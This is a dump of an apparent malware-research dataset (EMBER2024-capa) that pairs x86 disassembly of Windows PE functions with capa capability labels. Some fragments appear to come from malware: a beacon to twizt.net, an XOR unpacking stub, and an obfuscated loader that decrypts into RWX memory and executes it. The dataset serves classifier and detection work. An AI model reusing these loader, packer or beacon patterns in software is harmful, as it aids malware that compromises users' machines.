joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408194
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
xor ecx, ecx
sub esp, 8
test edx, edx
jle 0x408217
xor ecx, ecx
cmp byte [ebx], 0x2b
mov esi, edx
sete cl
cmp edx, ecx
jle 0x408215
mov al, byte [ebx + ecx]
sub eax, 0x30
cmp al, 9
ja 0x408215
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [eax], edi
movsx eax, byte [ebx + ecx]
lea edx, [eax - 0x30]
cmp dl, 9
ja 0x408217
sub eax, 0x30
mov edi, 0xa
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, 0x7fffffff
sub eax, edx
cdq
idiv edi
mov edx, 0x7fffffff
cmp dword [ebp - 0x10], eax
jg 0x408203
imul edi, dword [ebp - 0x10], 0xa
mov edx, dword [ebp - 0x14]
add edx, edi
mov eax, dword [ebp + 8]
mov dword [eax], edx
inc ecx
cmp ecx, esi
jge 0x408217
cmp byte [ebx + ecx], 0x5f
je 0x408208
jmp 0x4081c4
xor ecx, ecx
pop edx
mov eax, ecx
pop ecx
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x40e74d
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov edx, dword [ebp + 0xc]
cmp dword [ebp + 8], 0
lea eax, [edx + 4]
jne 0x40e765
mov eax, 0x44d5e0
mov dword [esp], eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
mov dword [esp], 0x44a174
mov ebx, eax
call fcn.004406e0
cmp byte [eax], 0
mov eax, 0
cmovne ebx, eax
add esp, 0x14
mov eax, ebx
pop ebx
pop ebp
ret 8

Function at 0x40ef08
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov eax, edx
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
mov ebx, ecx
mov ecx, 4
sub esp, 0x2c
mov dword [ebp - 0x1c], edx
cdq
mov esi, dword [ebp - 0x1c]
idiv ecx
mov dword [esp], 0x44a174
sub esi, edx
call fcn.004406e0
xor ecx, ecx
mov al, byte [eax]
mov byte [ebp - 0x1d], al
cmp esi, ecx
jg 0x40ef4f
mov eax, dword [ebp - 0x1c]
mov esi, 4
add ecx, ebx
cdq
idiv esi
xor eax, eax
jmp 0x40ef84
mov eax, dword [ebx + ecx]
add ecx, 4
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
cmp byte [ebp - 0x1d], 0
jne 0x40efc9
imul eax, eax, 0x1b873593
xor eax, edi
rol eax, 0xd
lea eax, [eax + eax*4]
lea edi, [eax - 0x19ab949c]
jmp 0x40ef3a
dec edx
shl eax, 8
movzx ebx, byte [ecx + edx]
or eax, ebx
test edx, edx
jg 0x40ef7a
imul eax, eax, 0xcc9e2d51
xor edx, edx
rol eax, 0xf
cmp byte [ebp - 0x1d], 0
jne 0x40efcb
imul eax, eax, 0x1b873593
mov edx, dword [ebp - 0x1c]
xor edx, edi
xor eax, edx
mov edx, eax
shr edx, 0x10
xor eax, edx
imul eax, eax, 0x85ebca6b
mov edx, eax
shr edx, 0xd
xor edx, eax
imul edx, edx, 0xc2b2ae35
mov eax, edx
shr eax, 0x10
xor edx, eax
jmp 0x40efcb
xor edx, edx
add esp, 0x2c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x421d80
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov eax, edx
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
mov ebx, ecx
mov ecx, 8
sub esp, 0x2c
mov dword [ebp - 0x1c], edx
cdq
idiv ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp esi, eax
jl 0x421daf
shl esi, 3
jmp 0x421e37
mov edi, dword [ebx + esi*8]
mov dword [esp], 0x44a174
mov dword [ebp - 0x24], edx
call fcn.004406e0
mov edx, dword [ebp - 0x24]
cmp byte [eax], 0
jne 0x421e53
mov ecx, edx
mov edx, dword [ebx + esi*8 + 4]
inc esi
xor ecx, edi
mov edi, edx
movzx eax, dl
shr edi, 0x18
mov eax, dword [eax*4 + 0x44f7e0]
xor eax, dword [edi*4 + 0x44ebe0]
movzx edi, cl
xor eax, dword [edi*4 + 0x4507e0]
mov edi, ecx
shr edi, 0x18
xor eax, dword [edi*4 + 0x44fbe0]
movzx edi, dh
shr edx, 0x10
movzx edx, dl
xor eax, dword [edi*4 + 0x44f3e0]
xor eax, dword [edx*4 + 0x44efe0]
movzx edx, ch
shr ecx, 0x10
movzx ecx, cl
xor eax, dword [edx*4 + 0x4503e0]
xor eax, dword [ecx*4 + 0x44ffe0]
mov edx, eax
jmp 0x421da0
mov eax, dword [ebp - 0x1c]
cmp esi, eax
jge 0x421e53
mov cl, byte [ebx + esi]
inc esi
xor ecx, edx
shr edx, 8
movzx ecx, cl
xor edx, dword [ecx*4 + 0x44ebe0]
jmp 0x421e37
add esp, 0x2c
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x425973
Capabilities:
Encode data using base64

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
mov edi, 3
push esi
mov esi, edx
push ebx
mov ebx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
sub esp, 0x3c
mov dword [ebp - 0x20], eax
cmp byte [ebp + 8], 0
mov dword [ebp - 0x1c], eax
mov eax, 0x451280
cmove ebx, eax
lea eax, [edx*4]
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x20]
cdq
idiv edi
lea edx, [eax + 6]
call fcn.00405a32
mov eax, esi
mov ecx, esi
xor esi, esi
cdq
idiv edi
mov edi, dword [ebp - 0x2c]
mov eax, edi
sub ecx, edx
mov dword [ebp - 0x34], edx
add eax, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp edi, eax
jne 0x4259e8
imul esi, ecx, 0xaaaaaaac
cmp dword [ebp - 0x34], 1
jne 0x425a77
jmp 0x425ae3
movzx edx, byte [edi + 1]
movzx eax, byte [edi]
mov dword [ebp - 0x3c], ecx
add edi, 3
shl edx, 8
shl eax, 0x10
or eax, edx
movzx edx, byte [edi - 1]
or edx, eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x30], edx
call fcn.00424a11
mov eax, dword [ebp - 0x30]
shr eax, 0x12
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 4], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, dword [ebp - 0x30]
shr eax, 0xc
and eax, 0x3f
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 5], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, dword [ebp - 0x30]
shr eax, 6
and eax, 0x3f
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 6], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
and eax, 0x3f
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 7], dl
add esi, 4
jmp 0x4259cc
cmp dword [ebp - 0x34], 2
jne 0x425b3f
mov eax, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x2c]
movzx eax, byte [eax + ecx]
movzx edi, byte [edi + ecx + 1]
shl eax, 0x10
shl edi, 8
or edi, eax
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, edi
shr eax, 0x12
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 4], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, edi
shr edi, 6
shr eax, 0xc
and edi, 0x3f
and eax, 0x3f
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 5], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov dl, byte [ebx + edi]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 6], dl
jmp 0x425b2c
mov eax, dword [ebp - 0x2c]
movzx edi, byte [eax + ecx]
lea eax, [ebp - 0x20]
call fcn.00424a11
shl edi, 0x10
mov eax, edi
shr edi, 0xc
shr eax, 0x12
and edi, 0x3f
mov dl, byte [ebx + eax]
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 4], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, dword [ebp - 0x1c]
mov dl, byte [ebx + edi]
mov byte [eax + esi + 5], dl
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 6], 0x3d
lea eax, [ebp - 0x20]
call fcn.00424a11
mov eax, dword [ebp - 0x1c]
mov byte [eax + esi + 7], 0x3d
add esi, 4
mov edx, esi
lea ecx, [ebp - 0x20]
call fcn.00405a32
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x43ef30
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov dword [esp], 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00449220
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
lea esi, [esi]

Function at 0x43ef90
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4a948c]
test esi, esi
jle 0x43f0b0
mov eax, dword [0x4a9490]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x43efc4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x43f047
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x43efb0
mov dword [esp], ebx
call fcn.0043f9a0
mov edi, eax
test eax, eax
je 0x43f0d7
mov eax, dword [0x4a9490]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0043fae0
mov edx, dword [0x4a9490]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x43f0b7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x43f040
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x43f050
add dword [0x4a948c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4a9490]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x43f040
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0043ef30
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x43efce
mov eax, dword [0x4a9490]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0043ef30
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0043ef30
lea esi, [esi]
nop
Function at 0x43f5f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4a94a8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4a94a0]
sub esp, 4
test ebx, ebx
je 0x43f645
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x43f63e
test esi, esi
je 0x43f63e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x43f620
mov dword [esp], 0x4a94a8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x43f870
Capabilities:
Parse pe header
Terminate process

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
mov eax, dword [esp + 4]
xor edx, edx
cmp word [eax], 0x5a4d
jne 0x43f8a8
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
je 0x43f8b0
mov eax, edx
ret
xor edx, edx
cmp word [eax + 0x18], 0x10b
sete dl
mov eax, edx
ret

Function at 0x43f9a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x43f9c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x43f9d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x43f9c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x43fa18
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x43fa0e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x43fa1a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x43fa00
xor eax, eax
pop ebx
pop esi
ret
Function at 0x405fb4
Capabilities:
Get graphical window text

Disassembly:
push edi
push dword [esp + 8]
push dword [0x40e818]
jmp loc.00413494

Function at 0x40633f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x130
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x1c]
push eax
mov ebx, 0xc8
mov dword [ebp - 0x1c], 0x94
call edi
test eax, eax
je 0x406428
mov eax, dword [ebp - 0xc]
dec eax
je 0x40640b
dec eax
jne 0x406428
lea eax, [ebp - 0xb8]
push eax
xor esi, esi
mov dword [ebp - 0xb8], 0x9c
call edi
test eax, eax
je 0x40639e
cmp byte [ebp - 0x1e], 1
jne 0x40639e
inc esi
mov eax, dword [ebp - 0x18]
sub eax, 3
je 0x406407
dec eax
je 0x406403
dec eax
je 0x4063e1
dec eax
jne 0x406428
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4063d5
dec eax
je 0x4063c9
dec eax
jne 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x5f]
jmp 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x55]
jmp 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x4b]
jmp 0x406428
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4063ff
dec eax
je 0x4063fb
dec eax
jne 0x406428
neg esi
sbb esi, esi
and esi, 0xfffffffb
lea ebx, [esi + 0x41]
jmp 0x406428
push 0x3c
jmp 0x406427
push 0x32
jmp 0x406427
push 0x14
jmp 0x406427
push 5
jmp 0x406427
cmp dword [ebp - 0x14], 0
je 0x406425
cmp dword [ebp - 0x14], 0xa
je 0x406421
cmp dword [ebp - 0x14], 0x5a
jne 0x406428
push 0x28
jmp 0x406427
push 0x1e
jmp 0x406427
push 0xa
pop ebx
pop edi
pop esi
mov eax, ebx
pop ebx
add ebp, 0x78
leave
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
push 0
push 0
push 0
push 0x403160
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401051
push 0
push 0
push 0
push 0
push str.http:__twizt.net_Installed
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401070
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 1
mov edx, 5
mov word [ebp - 0x30], dx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x4010e1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401118
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x64], ecx
cmp dword [ebp - 0x64], 0x20
jle 0x401116
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x401118
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x401120
Capabilities:
Create http request
Get http content length
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_110.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4011b8
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4011ae
mov dword [ebp - 0x14], 4
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x10]
push eax
push 0x20000005
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp - 0x10], 0x1388
jbe 0x4011a4
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x10]
cmp eax, dword [edx]
je 0x4011a4
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x401480
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x404020]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x418]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x418]
push ecx
push str._s525352353.jpg
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4014dd
xor al, al
jmp 0x401517
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xffffffff
je 0x401515
mov edx, dword [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004017e6
mov esp, ebp
pop ebp
ret
Function at 0x4017e6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x404020]
jne 0x4017f0
repz ret
jmp fcn.00401b17
Function at 0x409978
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409a4b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409a64
push ebx
push 0x409a70
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4099f8
mov al, 0x69
call fcn.0040961c
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040994c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a01
call fcn.0040994c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a52
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x409b04
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
jmp 0x409bad
cmp dword [esi + 0x10], 0x1000
jne 0x409b99
test byte [esi + 0x15], 1
jne 0x409b99
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409b58
cmp eax, 2
je 0x409b58
cmp eax, 0x10
je 0x409b58
cmp eax, 0x20
jne 0x409b6d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409b6d
mov bl, 1
xor ebp, ebp
jmp 0x409b7e
mov eax, dword [esi]
add eax, ebp
call fcn.00409afc
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409b71
test bl, bl
je 0x409b99
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409bb8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409b30
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x41f810
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x41f81f
pop dword [ebp - 0x28]
mov eax, 0xd11b44d2
add eax, 0x2f26b34d
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x4d909
push 0
mov eax, 0x183ddac4
add eax, 0xe8088d14
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0xa13571f7
sub ecx, 0xa1352a87
mov ebx, eax
mov edi, 0xd9d7d030
add edi, 0x26710fd0
add edi, dword [ebp - 0x28]
mov edx, 0x2df4c1dc
mov dword [ebp - 0xc], 0xec91060a
mov esi, dword [edi]
xor dword [ebp - 0xc], 0x60f3b655
sub esi, edx
sub dword [ebp - 0x24], eax
mov dword [ebx], esi
add dword [ebp - 0x20], 0x56aa3f28
add ebx, 0xc55a0572
sub ebx, 0xc55a056e
add edi, 0x741385b4
add edi, 0x8bec7a50
loop 0x41f878
add eax, 0x1bd63602
sub eax, 0x1bd5256f
xor ebx, ebx
add ebx, eax
add eax, 0xfb71e61c
add eax, 0x48e19e9
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x4287df
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cmp dword [0x45aa24], 0
je 0x428816
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
push eax
call main
add esp, 4
jmp 0x42882f
call main
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call main
add esp, 4
jmp 0x42882f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44c8c0
Capabilities:
Move file

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push eax
push ecx
call dword [sym.imp.kernel32.dll_MoveFileA]
test eax, eax
mov eax, 0
jne 0x44c8df
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
je 0x44c8f2
push eax
call fcn.0044d700
add esp, 4
mov eax, 0xffffffff
ret
xor eax, eax
ret